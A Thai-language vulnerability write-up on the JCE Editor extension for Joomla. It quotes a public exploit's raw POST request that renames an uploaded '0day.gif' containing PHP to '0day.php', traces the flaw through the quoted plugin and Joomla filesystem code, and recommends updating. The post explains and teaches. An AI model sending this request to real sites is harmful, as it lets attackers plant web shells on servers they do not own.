สวัสดีครับวันนี้มีช่องโหว่ของ Extension Joomla ตัวนึง น่าสนใจดีเลยเอามาแกะดู Extension ตัวนี้คือ JCE Editor ครับเป็นส่วนเสริมที่ทำให้เราสามารถ พิมพ์ข้อความ, ใส่ลิ้งค์, แทรกรูปภาพลงไปได้พูดง่ายๆคือ เพิ่มความสะดวกในการจัดการบทความนั่นเอง
ช่องโหว่นี้รายละเอียดคือสามารถอัพโหลดไฟล์รูปภาพ .gif, .png, .jpg ขึ้นไปบน Web Server โดยที่เนื้อหาเป็นโค้ด PHP และเปลี่ยนชื่อให้เป็นไฟล์ .php ทำให้โค้ด PHP ดังกล่าวนั้นทำงานได้จาก
Exploit Code
$packet = "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n";
$packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$packet .= "Accept-Language: en-US,en;q=0.8\r\n";
$packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n";
$packet .= "Accept-Encoding: deflate\n";
$packet .= "X-Request: JSON\r\n";
$packet .= "Cookie: __utma=216871948.2116932307.1317632284.1317639575.1317734968.3; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=216871948.20.10.1317734968; __utmc=216871948; jce_imgmanager_dir=%2F; 6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182\r\n";
$ren ="json={\"fn\":\"folderRename\",\"args\":[\"/0day.gif\",\"0day.php\"]}";
$packet .= "Content-Length: ".strlen($ren)."\r\n\r\n";
$packet .= $ren."\r\n\r\n";
ผมจึงลองแงะช่องโหว่ดังกล่าว พบอยู่ที่ไฟล์ /jce/libraries/classes/plugin.php ครับ ชื่อฟังก์ชั่น processXHR ครับ (บางไฟล์ชื่อ process)
function processXHR($array = false) {
$json = JRequest::getVar('json', '', 'POST', 'STRING', 2);
$method = JRequest::getVar('method', '');
if ($method == 'form' || $json) {
$GLOBALS['xhrErrorHandlerText'] = '';
set_error_handler('_xhrErrorHandler');
$result = null;
$error = null;
$fn = JRequest::getVar('action');
$args = array();
if ($json) {
$json = $this->json_decode($json);
$fn = $json->fn;
$args = $json->args;
}
$func = $this->request[$fn]['fn'];
if (array_key_exists($fn, $this->request)) {
if (!is_array($args)) {
$result = call_user_func($func, $args);
} else {
$result = call_user_func_array($func, $args);
}
if (!empty($GLOBALS['xhrErrorHandlerText'])) {
$error = 'PHP Error Message: ' . addslashes($GLOBALS['xhrErrorHandlerText']);
}
} else {
if ($fn) {
$error = 'Cannot call function '. addslashes($fn) .'. Function not registered!';
} else {
$error = 'No function call specified!';
}
}
$output = array(
"result" => $result,
"error" => $error
);
if ($json) {
header('Content-Type: text/json');
header('Content-Encoding: UTF-8');
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
}
exit($this->json_encode($output));
}
}
จาก Exploit Code จะเห็นว่ามีการส่งค่า POST มาในตัวแปร json รูปแบบเป็น json และมีการรับค่าที่บรรทัดที่ 722 เก็บไว้ในตัวแปร $json จากนั้นมีการแยกค่าซึ่งเป็นชื่อฟังก์ชั่น ไว้ในตัวแปร $fn และ อากิวเมนต์ที่ส่งไว้ในตัวแปร $args ครับ ตอนนี้จะเท่ากับว่า $fn จะมีค่าเท่ากับ folderRename (ซึ่งจะเป็นชื่อฟังก์ชั่นอื่นก็ได้แล้วแต่เป้าหมายเช่น getItems, fileCopy, fileDelete ) และ $args จะมีค่าเป็น /0day.gif และ 0day.php ( รูปแบบของ array )
จากนั้นตัวแปร $func ในบรรทัดต่อมาจะเป็นการเก็บชื่อฟังก์ชั่นที่จะเรียกใช้ และมีการใช้เงื่อนไข if (!is_array($args)) เช็คว่ามีตัวแปร $args เป็น array หรือไม่ ถ้าไม่เป็น array จะไปเรียก
call_user_func แต่ถ้าเป็น array จะไปเรียก
call_user_func_array แทนครับ มองภาพกันออกยังเอ่ย ว่าช่องโหว่นี้จะทำอะไรต่อไป :)
ประกอบร่างก็จะได้เป็น Exploit Code นั้นส่งค่าดังนี้ครับ ผมเขียนเป็น PHP ให้ดูเข้าใจง่ายๆ
//call_user_func_array("folderRename", array("/0day.gif", "0day.php"));
function folderRename('/0day.gif','0day.php'){
//do something
}
เป็นการโยน 0day.gif และ 0day.php ไปในฟังก์ชั่น
folderRename เพื่อเปลี่ยนชื่อจาก 0day.gif ไปเป็น 0day.php ครับ เรามาตามหาฟังก์ชั่น
folderRename กันพบอยู่ในไฟล์ /jce/libraries/classes/manager.php ครับ
function folderRename( $src, $dest ){
jimport('joomla.filesystem.folder');
$src = Utils::makePath( $this->getBaseDir(), rawurldecode( $src ) );
$dir = dirname( $src );
$dest = Utils::makePath( $dir, $dest );
if( !JFolder::move( $src, $dest ) ){
$this->_result['error'] = JText::_('Rename Folder Error');
}else{
$this->_result = $this->fireEvent('onFolderRename');
}
return $this->returnResult();
}
มีการย้ายไฟล์ที่บรรทัดที่ 701 ด้วย
JFolder::move ของ Joomla ถึงตอนสุดท้ายตามไปดูก็เจอการใช้
library rename ของ FTP ที่บรรทัด 417 และฟังก์ชั่น
rename ของ PHP ที่บรรทัด 424 ครับ
public static function move($src, $dest, $path = '', $use_streams=false)
{
// Initialise variables.
jimport('joomla.client.helper');
$FTPOptions = JClientHelper::getCredentials('ftp');
if ($path)
{
$src = JPath::clean($path . DS . $src);
$dest = JPath::clean($path . DS . $dest);
}
if (!self::exists($src)){
return JText::_('JLIB_FILESYSTEM_ERROR_FIND_SOURCE_FOLDER');
}
if (self::exists($dest)) {
return JText::_('JLIB_FILESYSTEM_ERROR_FOLDER_EXISTS');
}
if($use_streams)
{
$stream = JFactory::getStream();
if(!$stream->move($src, $dest)) {
return JText::sprintf('JLIB_FILESYSTEM_ERROR_FOLDER_RENAME', $stream->getError());
}
$ret = true;
}
else
{
if ($FTPOptions['enabled'] == 1)
{
// Connect the FTP client
jimport('joomla.client.ftp');
$ftp = JFTP::getInstance(
$FTPOptions['host'], $FTPOptions['port'], null,
$FTPOptions['user'], $FTPOptions['pass']
);
//Translate path for the FTP account
$src = JPath::clean(str_replace(JPATH_ROOT, $FTPOptions['root'], $src), '/');
$dest = JPath::clean(str_replace(JPATH_ROOT, $FTPOptions['root'], $dest), '/');
// Use FTP rename to simulate move
if (!$ftp->rename($src, $dest)) {
return JText::_('Rename failed');
}
$ret = true;
}
else
{
if (!@rename($src, $dest)) {
return JText::_('Rename failed');
}
$ret = true;
}
}
return $ret;
}
มาถึงตรงนี้ไฟล์ที่ Attacker เรียกเข้ามาจาก 0day.gif ก็จะถูกเปลี่ยนเป็น 0day.php แล้วครับ ส่วนวิธีการแก้ไขช่องโหว่นี้คือ อัพเดท JCE Editor ให้เป็นเวอร์ชั่นใหม่ล่าสุด ตอนนี้น่าจะเป็นเวอร์ชั่น
JCE 2.3.44 แล้วครับ.. ขอบคุณที่ตามอ่านจนจบครับ :D ,, ICheer_No0M | 2600Thailand
Ref :
Joomla JCE 2.0.10 Shell Upload Exploit
Ref :
JCE Joomla Extension <= 2.0.10 - Multiple Vulnerabilities
Ref :
rename — Renames a file or directory
Ref :
joomla-platform / libraries / joomla / filesystem / folder.php